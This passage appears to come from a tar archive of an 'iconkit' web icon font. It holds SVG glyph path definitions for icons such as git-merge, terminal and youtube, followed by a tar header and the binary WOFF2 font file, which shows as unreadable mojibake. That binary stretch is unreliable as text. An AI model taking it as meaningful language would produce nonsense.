12.274 201.659 100.933q88.6595 88.6595 100.933 201.659q-52.0284 14.241 -88.8505 62.4964q-36.8221 48.2554 -36.8221 102.198q0 70.5052 49.8984 120.535q49.8985 50.0302 120.403 50.216 l0.200256 0.00012207q70.656 0 120.661 -50.0053t50.0053 -120.661q0 -55.3694 -38.0502 -103.925q-38.0502 -48.5552 -91.814 -61.7928q-8.5921 -96.5556 -63.4939 -182.723q-54.9017 -86.1671 -141.069 -141.069q-86.1671 -54.9017 -182.721 -63.4936zM768 554.667 q35.3281 0 60.3307 25.0026t25.0026 60.3307q0 35.328 -25.0026 60.3307q-25.0027 25.0027 -60.3307 25.0027t-60.3307 -25.0027q-25.0026 -25.0026 -25.0026 -60.3306q0 -35.3281 25.0026 -60.3307q25.0027 -25.0026 60.3307 -25.0027zM256 42.6667 q35.328 0 60.3307 25.0027q25.0027 25.0027 25.0027 60.3307q0 35.328 -25.0027 60.3307t-60.3307 25.0027q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0027z" /> <glyph glyph-name="git-pull-request" unicode="" d="M213.333 474.709q-52.8211 13.8011 -90.2042 62.2065q-37.3831 48.4053 -37.3831 103q0 70.4854 49.8844 120.516q49.8844 50.0301 120.369 50.2358l0.168686 6.10352e-05q70.656 0 120.661 -50.0053t50.0053 -120.661q0 -54.7877 -37.5534 -103.218t-90.6153 -62.0729 v-474.709q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013q-17.664 0 -30.1653 12.5013t-12.5013 30.1653zM725.333 293.291v261.376q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-128q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653 t12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h128q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-261.376q52.8211 -13.8011 90.2042 -62.2064q37.3831 -48.4053 37.3831 -103q0 -70.4854 -49.8843 -120.516q-49.8844 -50.0301 -120.37 -50.2358 l-0.168701 -8.39233e-05q-70.656 0 -120.661 50.0053q-50.005 50.0053 -50.0053 120.661q0 54.7876 37.5534 103.218t90.6151 62.0743zM768 42.6667q35.328 0 60.3307 25.0027q25.0026 25.0026 25.0026 60.3307t-25.0026 60.3307q-25.0027 25.0026 -60.3307 25.0026 t-60.3307 -25.0027q-25.0026 -25.0027 -25.0026 -60.3307t25.0026 -60.3307q25.0026 -25.0026 60.3307 -25.0026zM256 554.667q35.3281 0 60.3307 25.0026q25.0027 25.0026 25.0027 60.3307t-25.0027 60.3307q-25.0027 25.0027 -60.3307 25.0027 q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3306q0 -35.328 25.0027 -60.3307t60.3307 -25.0027z" /> <glyph glyph-name="git-merge" unicode="" d="M602.283 86.9973q-78.4632 6.91563 -167.423 56.4209q-88.9595 49.5053 -136.193 112.539v-255.957q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653v474.709q-52.8211 13.8011 -90.2042 62.2065 q-37.3831 48.4053 -37.3831 103q0 70.4854 49.8844 120.516q49.8844 50.0301 120.369 50.2358l0.187592 0.00012207q70.656 0 120.661 -50.0053t50.0053 -120.661q0 -54.1244 -36.9839 -102.405q-36.9839 -48.2802 -89.241 -62.3742q12.274 -112.999 100.933 -201.659 q88.6595 -88.6595 201.659 -100.933q14.241 52.0285 62.4963 88.8506q48.2552 36.8221 102.198 36.8221q70.5052 0 120.535 -49.8985q50.0302 -49.8985 50.216 -120.403l0.00012207 -0.200241q0 -70.656 -50.0053 -120.661q-50.0054 -50.0053 -120.661 -50.0053 q-55.3695 0 -103.925 38.0502q-48.5552 38.0502 -61.7928 91.814zM768 42.6667q35.328 0 60.3307 25.0027q25.0026 25.0026 25.0026 60.3307t-25.0026 60.3307q-25.0027 25.0026 -60.3307 25.0026t-60.3307 -25.0027q-25.0026 -25.0027 -25.0026 -60.3307t25.0026 -60.3307 q25.0026 -25.0026 60.3307 -25.0026zM256 554.667q35.3281 0 60.3307 25.0026q25.0027 25.0026 25.0027 60.3307t-25.0027 60.3307q-25.0027 25.0027 -60.3307 25.0027q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3306q0 -35.328 25.0027 -60.3307t60.3307 -25.0027z" /> <glyph glyph-name="linkedin" unicode="" d="M682.667 554.667q123.648 0 211.157 -87.5093q87.5093 -87.5093 87.5093 -211.157v-298.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v298.667q-0.00262451 17.6613 -12.504 30.1607 q-12.5014 12.4994 -30.1627 12.4994t-30.1626 -12.4994t-12.504 -30.1607v-298.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-170.667v0q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v298.667q0 123.648 87.5093 211.157 q87.5093 87.5093 211.158 87.5093zM896 2.00117e-05v256q0 88.32 -62.5067 150.827t-150.827 62.5067t-150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-256h85.3333v256q0 52.992 37.504 90.496t90.496 37.504t90.496 -37.504t37.504 -90.496v-256h85.3333z M85.3333 512h170.667v0q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-512q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v512q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013z M128 426.667v-426.667h85.3333v426.667h-85.3333zM170.667 554.667q-52.992 0 -90.496 37.504t-37.504 90.496t37.504 90.496t90.496 37.504t90.496 -37.504q37.504 -37.504 37.504 -90.496q0 -52.9919 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504zM170.667 640 h0.00653076q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5014 30.1653t-30.1653 12.5013h-0.00653076q-17.6613 -0.00268555 -30.1607 -12.504t-12.4994 -30.1627t12.4994 -30.1627q12.4994 -12.5013 30.1608 -12.5037z" /> <glyph glyph-name="hard-drive" unicode="" d="M976.427 403.883q4.90674 -9.28748 4.90674 -19.7914l-0.00012207 -0.091217v-256q0 -52.992 -37.504 -90.496t-90.496 -37.504h-682.667q-52.992 0 -90.496 37.504t-37.504 90.496v256l-3.8147e-06 0.0174561q0 10.5386 4.90667 19.8652l146.773 293.12 q14.6134 29.3809 48.1795 50.183q33.5661 20.8022 66.3806 20.8143h406.187q36.4231 0 67.3846 -19.1888q30.9615 -19.1889 47.1327 -51.7231zM869.589 426.667l-116.352 232.32q-4.8631 9.78693 -16.0394 16.7252q-11.1763 6.93817 -22.1047 6.9549h-406.187 q-10.9285 -0.0166626 -22.1047 -6.9549q-11.1762 -6.93829 -16.0393 -16.7251l-116.352 -232.32zM896 341.333h-768v-213.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h682.667q17.664 0 30.1653 12.5013t12.5013 30.1653zM256 170.667h-0.00653076 q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h0.00653076q17.6613 -0.00270081 30.1607 -12.504q12.4994 -12.5013 12.4994 -30.1626t-12.4994 -30.1626t-30.1607 -12.504zM426.667 170.667h-0.00653076 q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h0.00653076q17.6613 -0.00271606 30.1607 -12.504q12.4994 -12.5013 12.4994 -30.1626t-12.4994 -30.1626t-30.1607 -12.504z" /> <glyph glyph-name="more-vertical-" unicode="" d="M512 298.667q-35.328 0 -60.3307 25.0027t-25.0027 60.3307t25.0027 60.3307t60.3307 25.0027t60.3307 -25.0027q25.0026 -25.0027 25.0026 -60.3307t-25.0026 -60.3307q-25.0027 -25.0027 -60.3307 -25.0027zM512 597.333q-35.3281 0 -60.3307 25.0026 q-25.0027 25.0026 -25.0027 60.3307q0 35.328 25.0027 60.3307t60.3307 25.0027t60.3307 -25.0027q25.0026 -25.0026 25.0026 -60.3306t-25.0026 -60.3307q-25.0027 -25.0027 -60.3307 -25.0027zM512 -2.00117e-05q-35.328 0 -60.3307 25.0027t-25.0027 60.3307 t25.0027 60.3307q25.0027 25.0027 60.3307 25.0027t60.3307 -25.0027q25.0026 -25.0026 25.0026 -60.3307q0 -35.328 -25.0026 -60.3307q-25.0027 -25.0026 -60.3307 -25.0027v5.75293e-06v1.32586e-07z" /> <glyph glyph-name="more-horizontal-" unicode="" d="M512 298.667q-35.328 0 -60.3307 25.0027t-25.0027 60.3307t25.0027 60.3307t60.3307 25.0027t60.3307 -25.0027q25.0026 -25.0027 25.0026 -60.3307t-25.0026 -60.3307q-25.0027 -25.0027 -60.3307 -25.0027zM810.667 298.667q-35.3279 0 -60.3306 25.0027 q-25.0027 25.0027 -25.0027 60.3307t25.0027 60.3306q25.0027 25.0027 60.3306 25.0027t60.3306 -25.0027t25.0027 -60.3307t-25.0027 -60.3307t-60.3306 -25.0026zM213.333 298.667q-35.328 0 -60.3307 25.0027t-25.0027 60.3307t25.0027 60.3307t60.3307 25.0027 t60.3307 -25.0027q25.0027 -25.0027 25.0027 -60.3307t-25.0027 -60.3307t-60.3307 -25.0027z" /> <glyph glyph-name="rss" unicode="" d="M170.667 384q-17.6613 0.00271606 -30.1607 12.504q-12.4994 12.5013 -12.4994 30.1626t12.4994 30.1626q12.4994 12.5014 30.1607 12.5041q115.907 0 214.193 -57.0941q98.2857 -57.0941 155.38 -155.38q57.0941 -98.2858 57.0941 -214.193 q-0.00268555 -17.6613 -12.504 -30.1607t-30.1627 -12.4994q-17.6613 0 -30.1626 12.4994q-12.5013 12.4994 -12.5041 30.1607q0 92.6718 -45.696 171.307q-45.6959 78.6348 -124.331 124.331q-78.6348 45.696 -171.307 45.6958zM170.667 682.667h-0.00653076 q-17.664 0 -30.1653 12.5014q-12.5013 12.5013 -12.5013 30.1653t12.5013 30.1653q12.5014 12.5013 30.1653 12.5013h0.00653076q147.571 0 281.893 -57.4414q134.322 -57.4415 231.44 -154.559q97.1177 -97.1177 154.559 -231.44q57.4414 -134.322 57.4414 -281.893 q-0.00268555 -17.6613 -12.504 -30.1607t-30.1627 -12.4994q-17.6613 0 -30.1627 12.4994q-12.5013 12.4994 -12.504 30.1607q0 130.203 -50.6862 248.722t-136.38 204.212q-85.6934 85.6934 -204.212 136.38q-118.519 50.6863 -248.722 50.6862zM213.333 2.00117e-05 q-35.328 0 -60.3307 25.0027t-25.0027 60.3307q0 35.328 25.0027 60.3307t60.3307 25.0027t60.3307 -25.0027q25.0027 -25.0027 25.0027 -60.3307t-25.0027 -60.3307t-60.3307 -25.0027v1.32548e-07z" /> <glyph glyph-name="send" unicode="" d="M923.691 850.645q7.26105 2.73065 15.0187 2.73065q17.6639 0 30.1653 -12.5013t12.5013 -30.1653q0 -7.75763 -2.73065 -15.0187l-298.368 -852.48q-9.60223 -27.3344 -38.5493 -28.512t-40.7253 25.312l-164.011 368.981l-368.981 164.011 q-26.5007 11.7744 -25.3227 40.7413q1.178 28.9669 28.5653 38.5333zM776.277 708.651l-575.275 -201.387l258.901 -115.029zM836.651 648.277l-316.416 -316.373l115.029 -258.901z" /> <glyph glyph-name="shield-off" unicode="" d="M781.79 174.592l0.426636 -0.426666l229.291 -229.333q11.9771 -12.4007 11.9771 -29.641q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.2403 0 -29.6411 11.977l-198.528 198.528q-40.5152 -40.8131 -105.185 -88.6932q-64.6694 -47.8801 -115.53 -74.7201 q-9.34607 -4.93229 -19.9139 -4.93229q-10.0736 0 -19.0835 4.50562q-29.1624 15.0562 -56.8747 32.64q-65.043 40.4468 -122.837 90.7093q-185.216 162.193 -185.216 341.461v298.667q0 10.6257 4.992 20.0107l-120.491 120.491q-13.0261 12.5807 -13.0261 30.6901 q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013q18.1094 0 30.6901 -13.0261l158.507 -158.507l1.32266 -1.28003zM213.342 622.336v-238.336q0 -140.662 156.117 -277.205q66.1894 -57.6049 142.507 -100.907q41.2907 23.264 94.134 63.5433t86.218 73.9287z M512.009 765.099l-119.893 -44.7574q-7.22275 -2.698 -14.9333 -2.698q-17.6681 0 -30.1724 12.5043t-12.5043 30.1724q0 12.2609 8.12878 23.9746t19.6146 16.0041l134.827 50.3467q7.23239 2.70667 14.9547 2.70667q7.72229 0 14.9547 -2.70667l341.333 -128 q11.4641 -4.29724 19.5774 -16.0032q8.11328 -11.7059 8.11328 -23.9489v-0.0266113v-298.965q-0.329712 -49.9762 -15.1467 -97.7067q-3.92358 -12.2929 -15.8331 -20.9931q-11.9094 -8.70013 -24.8134 -8.70013q-17.6639 0 -30.1653 12.5013t-12.5014 30.1653 q0 6.29828 1.81976 12.3279q11.0328 35.5154 11.3066 72.704v269.099z" /> <glyph glyph-name="shopping-bag" unicode="" d="M929.877 665.941q8.77588 -11.4861 8.78937 -25.9413v-597.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-597.333q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v597.333v0.003479q0 14.4582 8.78934 25.9379l127.744 170.325 q12.8 17.0667 34.1333 17.0667h512q21.3333 0 34.1334 -17.0667zM810.667 682.667l-64 85.3333h-469.333l-64 -85.3333h597.333zM853.333 597.333h-682.667v-554.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h597.333q17.664 0 30.1653 12.5013 q12.5013 12.5013 12.5013 30.1653zM640 469.333q0.00268555 17.6613 12.504 30.1607q12.5013 12.4994 30.1627 12.4994q17.6612 0 30.1626 -12.4994t12.504 -30.1607q0 -88.32 -62.5067 -150.827q-62.5067 -62.5067 -150.827 -62.5067q-88.32 0 -150.827 62.5067 q-62.507 62.5067 -62.5067 150.827v0.00653076q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-0.00653076q0 -52.992 37.504 -90.496t90.496 -37.504t90.496 37.504q37.504 37.504 37.5048 90.496z" /> <glyph glyph-name="terminal" unicode="" d="M140.501 652.501q-11.977 12.4008 -11.977 29.6411q0 17.6641 12.5013 30.1653q12.5013 12.5013 30.1654 12.5013q17.2403 0 29.641 -11.977l256 -256q12.4922 -12.4961 12.4922 -30.1653q0 -17.6693 -12.4922 -30.1653l-256 -256q-12.5806 -13.0256 -30.6896 -13.0256 q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653q0 18.109 13.0256 30.6896l225.835 225.835zM512 42.6667q-17.6613 0.00270844 -30.1607 12.504q-12.4994 12.5013 -12.4994 30.1626t12.4994 30.1626t30.1607 12.504h341.333 q17.6613 -0.00270844 30.1607 -12.5041t12.4995 -30.1626q0 -17.6613 -12.4995 -30.1626t-30.1607 -12.504z" /> <glyph glyph-name="truck" unicode="" d="M924.288 170.667q14.3787 -30.3508 14.3787 -63.935q0 -61.824 -43.7547 -105.579q-43.7546 -43.7547 -105.579 -43.7547t-105.579 43.7547t-43.7547 105.579q0 33.5843 14.3787 63.935h-284.757q14.3787 -30.3507 14.3787 -63.935q0 -61.824 -43.7547 -105.579 q-43.7547 -43.755 -105.579 -43.7547q-61.824 0 -105.579 43.7547q-43.7547 43.7547 -43.7547 105.579q0 33.5844 14.3787 63.935h-57.0453v0q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v554.667q0 17.664 12.5013 30.1653 q12.5013 12.5013 30.1653 12.5013h640q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-170.667h128q17.6717 -0.00384521 30.1653 -12.5013l128 -128q12.4974 -12.4938 12.5013 -30.1653v-213.333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013zM640 554.667v170.667 h-554.667v-469.333h554.667v298.666zM725.333 512v-256h213.333v153.003l-102.997 102.997h-110.336zM234.667 42.6667q26.496 0 45.248 18.752q18.752 18.752 18.752 45.248t-18.752 45.248t-45.248 18.752q-26.496 0 -45.248 -18.752t-18.752 -45.248t18.752 -45.248 t45.248 -18.752zM789.333 42.6667q26.496 0 45.248 18.752q18.752 18.752 18.752 45.248t-18.752 45.248t-45.248 18.752t-45.248 -18.752t-18.752 -45.248t18.752 -45.248t45.248 -18.752z" /> <glyph glyph-name="zap-off" unicode="" d="M283.614 552.064l-271.104 271.104q-13.0261 12.5807 -13.0261 30.6901q0 17.664 12.5013 30.1653t30.1653 12.5013q18.1094 0 30.6901 -13.0261l298.368 -298.368l0.682678 -0.682678l340.651 -340.651l0.682678 -0.682663l298.283 -298.24 q12.5099 -12.5012 12.5099 -30.1867q0 -17.6676 -12.5039 -30.1714q-12.5039 -12.5039 -30.1714 -12.5039q-17.6678 0 -30.1653 12.4886l-265.643 265.643l-183.424 -220.16q-15.0867 -14.8199 -32.7617 -15.4596t-31.2731 13.5822q-13.5981 14.2218 -11.0586 34.5173 l36.6933 293.376h-335.701q-17.6574 0.00660706 -30.154 12.5079q-12.4966 12.5013 -12.4966 30.1587q0 15.4417 9.88268 27.3067l188.373 226.133zM344.201 491.477l-125.099 -150.144h275.2l-150.059 150.144h-0.0420227zM553.011 282.667l-23.296 -186.24l95.232 114.304 zM483.806 658.773q-12.8057 -15.3969 -32.832 -15.3969q-17.6793 0 -30.1914 12.5121t-12.5121 30.1915q0 15.4377 9.87158 27.3066l103.68 124.587q15.087 14.8437 32.7632 15.5007t31.2841 -13.5507t11.0886 -34.5047l-25.1733 -202.667 q-1.52271 -15.9893 -13.9678 -27.3054q-12.445 -11.3161 -28.5067 -11.3161q-17.6641 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653q0 3.2442 0.490479 6.45087l7.25333 58.2827l-10.6667 -12.7573zM668.169 426.667q-17.6613 0.00274658 -30.1607 12.5041 t-12.4995 30.1626q0 17.6613 12.4995 30.1627q12.4994 12.5013 30.1607 12.504h227.84h0.0195923q17.664 0 30.1653 -12.5013t12.5013 -30.1653q0 -15.4732 -9.91827 -27.3493l-103.68 -124.16q-12.7969 -15.3324 -32.768 -15.3324q-17.6702 0 -30.176 12.5057 t-12.5057 30.176q0 15.4714 9.9137 27.3493l45.2266 54.144z" /> <glyph glyph-name="youtube" unicode="" d="M1003.09 632.448l0.640015 -2.77332q20.2913 -112.541 20.2913 -226.897q0 -3.98792 -0.0246582 -7.94067l0.00671387 -4.14117q0 -116.148 -20.9134 -230.397q-9.46387 -37.6442 -42.6174 -71.6853q-33.1534 -34.0411 -70.5346 -44.496 q-45.2421 -12.0844 -184.619 -17.3653q-97.2285 -3.57427 -194.523 -3.57427q-29.63 0 -59.2585 0.3316q-70.858 0.868193 -132.907 3.24267q-139.656 5.36108 -184.832 17.408q-41.1235 11.28 -71.2065 41.6671q-30.083 30.3871 -42.2868 73.8316 q-20.3325 112.641 -20.3325 227.102q0 3.84637 0.0231444 7.69272q-0.641471 117.71 20.9067 236.288q9.45839 37.6357 42.5995 71.6768t70.5099 44.5045q45.2313 12.0814 184.619 17.3654q97.667 3.60669 195.403 3.60669q29.166 0 58.3359 -0.32135 q72.7106 -0.82312 132.821 -2.94397q139.051 -4.81793 185.344 -16.1707q37.2133 -10.5282 70.1917 -44.5319q32.9785 -34.0036 42.363 -71.5215zM920.021 612.949q-4.44592 16.9178 -19.4474 32.457q-15.0016 15.5391 -31.7526 20.5776q-36.3031 8.8183 -166.571 13.3547 q-95.0735 3.16754 -190.199 3.16754q-29.705 0 -59.4014 -0.308899q-70.8321 -0.881226 -130.688 -3.15735q-129.931 -4.94781 -165.248 -14.3787q-19.4439 -5.51013 -33.6545 -19.7291q-14.2105 -14.219 -18.7402 -32.111q-19.0021 -105.333 -19.0021 -212.367 q0 -3.04443 0.0154877 -6.08652q-0.702179 -110.115 17.9627 -215.467q5.43334 -19.1125 19.5742 -33.121q14.1409 -14.0085 33.2044 -19.2309q35.9987 -9.62981 165.845 -14.5067q95.7487 -3.52123 191.562 -3.52123q28.9348 0 57.8677 0.321236 q70.8304 0.881126 130.688 3.15733q129.931 4.94783 165.248 14.3787q19.4439 5.51015 33.6545 19.7291q14.2105 14.2189 18.7402 32.1109q19.3077 106.96 18.9867 216.747q0.0230103 3.70682 0.0230103 7.41623q0 106.137 -18.711 210.61zM437.12 218.069 q-9.80276 -5.56963 -21.0773 -5.56963q-17.6559 0 -30.1572 12.4956q-12.5013 12.4955 -12.5095 30.1514v279.04v0.0229492q0 17.664 12.5013 30.1653t30.1653 12.5013q11.2746 0 21.0773 -5.56964l245.333 -139.52q8.95471 -5.07492 15.2923 -15.951 q6.33752 -10.8761 6.33752 -21.1689t-6.33752 -21.169t-15.2923 -15.951l-245.333 -139.52zM575.061 394.667l-116.395 66.1333v-132.267l116.352 66.1333z" /> </font> </defs></svg> fonts/iconkit.woff2000064400000051670151677247160010333 0ustar00wOF2S� ��S^?FFTM V�r ����@�*6$� ��(���I��lF+*jIl����=9�����}Z*"t� �Ȋ�mXv܂.���"3SLPI坪�Wb4��/��ڴS7�'��1%TL�u�e�C��;�����]�n���p�?�[6.c$+''/<Ov���@��ĭXr"h�&������/��_�C]zZ�5����N.ث��鸴ä;���p�={P(P;^�Վ4@ T��yko@o�}� j`�༒�����c��;��0rD����Xw!������1��dȁGQIutGmB����n��~/�y��T���u��Z�$;��G�ě�$�0H��~ �����ö1.bVi���1���x�g!/���[�ϰW��s"+�=�����3 �"Җn����/�F����nEW|&�De[j�9�A&�(&�8�������/��y�N�~��e�ON��j�v��ފk�"�u�e�d��U]�e@B$���Z��f�L�A�f��oIj�:#w�к�X��t�y����mkU!�c�"� ���}��߯�!s��J���f0bD��mw�͚two�)�ϰB��I*����?F˾90(^1��4v�\�Xg!$�|�v�{2�������*�`t*r��A0e}$���r@��_KP�l�C`���ϴM��JF^H*sQ�����Ģ�a��k���,맮4ӄ�XӻBiJW�qBx�����d����_ۭ��JWu:�� ��$���Uݴ]?�Ӽʸ�J�n�q^��~ #(�$E3,��$+���u<_��g;��a'i�3\�Uݴ���4/��5B0�b8AR4�r� J��j�aZ��z~Fq�fy�)��i�~��n8�Η���0��4aBRic]^�Uݴ]?�Ӽ��~���?��yd��X$X$E3lN.n^> ��].�p��p������O��WQ=i�d�I~/]�{�̽Z��AXSQ ��f��S��n#�f'�F�zZ���Og ��Lk��h26��1 �T�$0W���u3@$�em.�`F����{dԠh�`Y�F#����f�L�j B�t�'ݮ�Ҕ��N+��ܦ�2e�)�S��.@�ja��S�'� ��߬��,,����q��S��d�k���{�5:YN s"cN����ŁsK��S�[�uV�!ާ��r��`r�e�[O��~�Њ�/�K߃y8���9"e���Y�I9�� ��M��G��^�������@���L8���j������^�`���m9W��<$����� N��"a-9�<z��"�;�R�<1�>���,�Up��1o��^������,�G��0AP�� �3�^�ʹ'щs�&,���2�����G.��?�~��e�?�-|���DX�Gl�&���W9ƹ����~o��� z8��9�!n���*�N�%jkU�k-��8k S�Un��i�E��Vm.كx�/�͛R�a7w^\.�Z>f(>�Ҳ�W���L�����*�{��1�.���.%�����Ĝ��e�{�l�*Oz~V"�V�|vژ�|�ʓ�9��8�@�z;�BKF��S�.~���蔿'TK�)���u��~�� s���I���?>��H��ж��V��9�/cC�B܉R���!�f+Ɯ��6'��{�#���#� �� ��������ҹ-�P�"�ʝm]�m�!JS�N�aS+�s7����Q�vq��m�������j��ֺh��t��,c� ![PI!.�Qռ��sm�B!^���k�Ɍ'-I��Pd?S���2R�Vn��:�R ��0T��o-'�:�B�B�`��j��m�tq�+���v->y��n�P��D������?�� ���B�@�Ŵ60�%�*�y�����B6C�U��!�y��u��*���[nY?���&�j$��YAHQZ��LB<��%G��`�� ��,V�ޓ��&��:b)tLP�[��T?oG��W�,�l7��|-��l��Q�T�U�d�t֖����b�h��b�*@��X�{�E����.�E���@бV��7k�����2�l�$d�d�O�l!Q1 ���$�Y�q����U����@��2P�d��H�az�n��XYP��.g�W�wkI���+,b�1`�f(�%�k4q�[�X�,��{�ly��4�����)I��웼��LwYh�w�.JR�3�V�AX����� �">���}p��(.)/n]�l �]�O���>i���x������Z��4?��B�"P5����jԎ�g/p��@��֖�v�.'x��j{�Dm�����mNTo��]�Ш40Pf�2<�NK�#�#�IJ�B0�r*)D��m}yZ�Y��$0�?�>W��NNB�q3.F����SM����dž*�����/��0����x�e����1��|QF��T��������N�spm�-�Ln�<#ڠ���%ϱ��8�����%���r�sE2"���Dz���=�>��|Gw�"��(h� wC@��Lctl�6�(Kd�j��B�Ё@55j(E:�.cW؈��(�\��bu&Жh�0o�">�7��h�F�-Hљh�{� ��i�&�'����5"Lr)9���h���u����?���*�3�l�V�����C B����Ul�i�g<E�3| �i}�Jl`��i�N��j�6�"���L[�54�iQ��i��ݥ�5����:�͎�m���}f0��m8�mF������^��ۧk>�\R�����y}�[+QY5NJ|)֤J�C@�$� �9%�'4ٶ���0�Vr��'��Q��#Z�������|�+�K �٦��S4tͱ�l�0`:`�8�1�vKbp��$������1<�+If=5��m�к}[ʜ��Σv�k��pm=w�碰 <)��$+ew�ʧ���@˲#��O&>�����#J�����TT�o���w�JJ1Q�lm%�20�$%삒r+PƪjzE�da}<�4�%t���X�ެav�s�?E�!Yq��*�d�'Sn�xK#�i�ڶ5����)�(��� ���_N�?���mjqIq���KEV��#|_!����&�@���m��U��D�*9lϯ����Bt>IVj~`�{���ђ�o�}q���b[IK��b�!%��R"K��z��j}U5:��7�RT(�0�c��1P&��Wr7�nwf��f���=� ��Ĝ{�*�R]�8��R�c+ �S�;6d�7N�cJ��V��Em+ג�R>6�����!\\2eLm?2�l:�3���Ʈ 7��z�WxH܁uh�EЭ�i@b��a;�3{?x�u��z��i��ٻ�*r��홏j���qe�>��ζ:-@l|ơt�B:^�a�@O��\ll�_�@4'���k� �8���ء��?�Ԣ�#��'�?��xn��I���]Z� �w��_�=Ԑ^�j}��.��'�L��W���O��W'�3���/���"�p�M��As����|Ö��E�f籢!P��;_H3[c�Zك��//9m�('}��1���I���t�@:~|�ߟ��Ɣ�'�}��W���9�6�� iC��d�-j��w$�a�ʐ��띓x���X����^ �C}'�ŵ�kdVh��^� a����+Ӷ�6�$?�Tρt����v�P6�PH,͘P�Ĝ*h)Պ�l:{�����;0��r�"�)R�;�8��V.�~��_\�{οW��M�;6H��=�+����%[ ��mJ��}���X:Aݬ�A-=�mY��/�VԱ����þ ��{�u� ���ӧ��)%dv�9���,244%'��������eQ2�UW��u $l@t���E��2���[���v+J�su6��NY�e��u���~\���۽��~�|]�j�g�����:�G���j�]��pXR50N8�5BWV����#�Z曞܆���&�9v��<<�=��EC�D�6^Y�f9D�/n���m*�t���wv.ͱ�B�fh�U�vGN�RM ����d�l�T���[^Q�9�\I��%�V�Unj�v�9��������apu�q��t0�� � ol?>�|L!YQ4x�B�"hd�"�<�l�b ���;fh�Y"�k2x;U�H� cv�r>܇}�&���[Z�G�]���w�UmΗ~�9���[�.��}������s�ۀ;�y�nG�e ����f�����DegD��6�6@�m������7x%8v��n|��ס�3����0�j��� �G:W�(*h�&�k�n���sq\���%�j���U�8�Zr�83�Fd��p��H�h�XXVc�yM��b�#����g�,yζ�r�#�c.����Y"�RU5��&?�^�]Aq��5U�}@Gmɦ���������}�u֦kq�7��Sl�#ԅG�o�~/p(��e<(�)=̺�����;\1KD������ �DR��U�ɍ�⌤��8�иI���2DfH�kP6��w��Z��P8��s|�J ��$_O�=i��8�jk(���y��50��!��ւK��/�ąi� ��Ol����g�;ב�LF�SI��F��6oe�s���/��%����t����Gaɸ�~����Tq��>���յ�����vZKok2�&=�7_�t��i��� �4�pW��.��f��ж� �Z{�ܛ�GM�-���8��jΎ.=)�m���y,(���������O!�8sNv=$umE-[�.�v���:p�(d����v��\��; �w�Y�1B+�/PV�՞�t�E�C���G���O�/]ce��V�� Iz�=����g_NQG��v� ��\3X�>��-p�\�Q��fO �s��ނ����dV!]��b�O��ǁ���ggk�_Q��_�1�N���|�Z�*�٘z��(���i�".d��@n��1�- ?Yot'��}h�BQ�$d�'N�g�]� ���\�"���ņ�ǐ�u���a��k��ϛ�t��t,�ceT^ڡ.r�\t��! 7�"`H���,t ��D��3/��"�� �&�D�DB�kf��ݕ��o�NM� ���b{%�)�)��j m)�dF��&�����#P�t�%k�ߤ���\hO���a-����(C��<7�=��:ɁZ��Z���>�І��]���n�It��W^�b�)Z֜���~א��b���m��v삀��-���Ab#�c�l)F��]^�Q���F= ��Dv�mW���h�ʹܶ��chȅ�=*��5VD�Y�g�G,bw 5Y�q����9����o�GX����9�ð��:��/�����ge�o�<#���Ǎ��Vh50a�ex�0 �1nܧ� :f�0z�es�Y�,�R},�1D煆��� �O�����=��q�!丟F]�gC�;����vR�G���V�or��6�u�c�lC>��rK�:���Dֽ!2��_�K����4>��BIť`�� ��Y��BN3�ԿW�+]���fU��v�rPzV�±j����zɬ��M1ߒ�//�(�y'����JI�tZ��#/�7���k�^�$�^��3p�gK�[$;�T��B�"�mHF�B�b�qoʕ�+Q��'��e�ɛ/w� �E&70��MZXL��C�~�GÕu-M̂^��U�]C��-Ωlq�hk�+��b;��� ��I�C���<s��,F�i �v�?��j�r=���'��B/T�&m匨�A k<~i)2̡��q�.�0�!9�}��:��v�v���89�"�҉;���ь�7ݮI;�DB�.f���5�U?�8��'�)�!��b�p���x=b��/�o��}oi��q��#��y{�q� ϔHf���w�q�2����!���:r�{セ��Ϫ����\I�K��[��,_�H�Хh��7p)wq����2�N��h��J���3���O��y�y���B��a ���mn#�[��˜�`����t�ق��S�8�āۅB��37�=��[�#ͱF�i�� 